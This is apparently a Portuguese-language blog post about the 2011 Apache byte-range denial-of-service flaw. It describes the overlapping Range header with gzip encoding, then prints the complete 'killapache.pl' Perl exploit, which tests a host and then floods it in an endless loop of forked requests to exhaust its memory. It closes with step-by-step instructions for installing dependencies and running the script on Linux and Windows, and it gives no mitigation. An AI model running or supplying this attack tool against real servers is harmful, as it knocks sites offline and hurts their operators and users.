Ha alguns Dias foi publicado um exploit (em 19 de Agosto) que permite a causar uma negação de serviço em todas as versões do Apache. Isto significa que você pode prestar serviço para o servidor web Apache com as configurações padrão.
Da vulnerabilidade de negação de serviço em Apache foi descoberto pelo "Kingcope".
A declaração de uma série de bytes permite ao navegador para carregar apenas algumas partes de um documento, por exemplo 500-1000 bytes. Este método é usado por programas como clientes de download para retomar downloads que foram interrompidos, e é projetado para reduzir os requisitos de largura de banda. No entanto, parece lançar múltiplos componentes não classificados no cabeçalho pode causar um mau funcionamento do servidor Apache.
No caso de explorá-lo envia um cabeçalho de intervalo para o servidor, que irá indicar várias partes, bytes de tamanho, que são necessários do site. Isso é feito usando pedidos HEAD para o servidor, adicionando o seguinte cabeçalho: "Faixa:. Bytes = 5-1,5-2,5-3,5-4, ... ,5-1299" A chave é que cada parte é solicitada gzip (Accept-Encoding: gzip), levando ao consumo excessivo de servidores, principalmente CPU e memória RAM, o que provoca uma negação de serviço no ambiente.

 

Killapache.pl
#Apache httpd Remote Denial of Service (memory exhaustion)
#By Kingcope
#Year 2011
#
# Will result in swapping memory to filesystem on the remote side
# plus killing of processes when running out of swap space.
# Remote System becomes unstable.
#

use IO::Socket;
use Parallel::ForkManager;

sub usage {
	print "Apache Remote Denial of Service (memory exhaustion)\n";
	print "by Kingcope\n";
	print "usage: perl killapache.pl <host> [numforks]\n";
	print "example: perl killapache.pl www.example.com 50\n";
}

sub killapache {
print "ATTACKING $ARGV[0] [using $numforks forks]\n";
	
$pm = new Parallel::ForkManager($numforks);

$|=1;
srand(time());
$p = "";
for ($k=0;$k<1300;$k++) {
	$p .= ",5-$k";
}

for ($k=0;$k<$numforks;$k++) {
my $pid = $pm->start and next; 	
	
$x = "";
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                 PeerPort => "80",
                     			 Proto    => 'tcp');

$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
print $sock $p;

while(<$sock>) {
}
 $pm->finish;
}
$pm->wait_all_children;
print ":pPpPpppPpPPppPpppPp\n";
}

sub testapache {
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                 PeerPort => "80",
                     			 Proto    => 'tcp');

$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
print $sock $p;

$x = <$sock>;
if ($x =~ /Partial/) {
	print "host seems vuln\n";
	return 1;	
} else {
	return 0;	
}
}

if ($#ARGV < 0) {
	usage;
	exit;	
}

if ($#ARGV > 1) {
	$numforks = $ARGV[1];
} else {$numforks = 50;}

$v = testapache();
if ($v == 0) {
	print "Host does not seem vulnerable\n";
	exit;	
}
while(1) {
killapache();
}
 
O Exploit No Linux ! 

Para rodar o Exploit em Ubuntu ou Back-Track necessita instalar as livrarias Parallel::ForkManager:

sudo apt-get install libparallel-forkmanager-perl

 

O Exploit no Windows !

1º No Windows, você deve ter o Perl instalado (eu tenho o ActivePerl 1204) e faça o seguinte:

Entre o diretório onde foi instalado o perl, procure no arquivo bin shell.bat ppm (duplo clique) 

irá abrir uma ppm console.

C:\Perl64\bin\ppm-shell.bat

 
2° No painel cmd acrescentar estes 2 comandos, ai devera funcionar perfeitamente. 

rep add Apache http://www.apache.org/dis/perl/win32-bin/ppms/
install Parallel::ForkManager 

 

O impacto da vulnerabilidade é grave, porque afeta todas as versões do apache e não há nenhum patch oficial ainda !